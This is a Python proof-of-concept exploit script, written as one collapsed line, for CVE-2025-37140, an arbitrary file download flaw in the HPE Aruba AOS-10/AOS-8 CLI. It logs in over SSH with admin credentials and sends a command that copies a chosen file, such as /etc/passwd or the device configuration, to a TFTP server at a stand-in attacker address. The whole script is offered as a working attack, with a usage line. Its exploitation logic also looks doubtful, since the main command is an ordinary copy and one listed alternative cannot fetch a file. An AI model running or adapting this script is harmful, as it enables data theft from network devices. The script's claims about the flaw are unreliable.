CVE-2025-37140

# CVE-2025-37140 PoC - HPE Aruba AOS-10/AOS-8 CLI Arbitrary File Download # This PoC demonstrates the arbitrary file download vulnerability in the CLI binary # Note: Requires valid high-privilege credentials (PR:H) import paramiko import sys def exploit_aruba_cli(host, port, username, password, target_file): """ Exploit arbitrary file download vulnerability in HPE Aruba AOS-10/AOS-8 CLI Args: host: Target Aruba controller/gateway IP address port: SSH port (default 22) username: Valid admin username with high privileges password: Valid admin password target_file: Path of the file to download (e.g., /etc/passwd, /cfg/config) """ try: # Create SSH client and connect to the target client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(host, port=port, username=username, password=password, timeout=10) # Open interactive shell session shell = client.invoke_shell() # Wait for prompt import time time.sleep(2) shell.recv(4096) # consume initial banner # Enter enable mode if required shell.send("enable\n") time.sleep(1) shell.recv(4096) # Craft malicious command to download arbitrary file via CLI # The CLI binary fails to validate the file path properly, # allowing path traversal or absolute path references malicious_cmd = f"copy {target_file} tftp://attacker_ip/malicious_file\n" # Alternative exploitation commands depending on CLI version: # malicious_cmd = f"show running-config | include {target_file}\n" # malicious_cmd = f"backup-config {target_file}\n" print(f"[*] Sending malicious command: {malicious_cmd.strip()}") shell.send(malicious_cmd) time.sleep(3) # Receive output output = shell.recv(8192).decode('utf-8', errors='ignore') print(f"[*] Output:\n{output}") # Check if file content was leaked if "Permission denied" not in output and "Error" not in output: print("[+] Exploit successful! File content may have been exfiltrated.") else: print("[-] Exploit failed - access denied or error encountered.") client.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 6: print(f"Usage: {sys.argv[0]} <host> <port> <username> <password> <target_file>") print(f"Example: {sys.argv[0]} 192.168.1.1 22 admin password123 /etc/passwd") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) user = sys.argv[3] passwd = sys.argv[4] file_to_download = sys.argv[5] exploit_aruba_cli(target_host, target_port, user, passwd, file_to_download)

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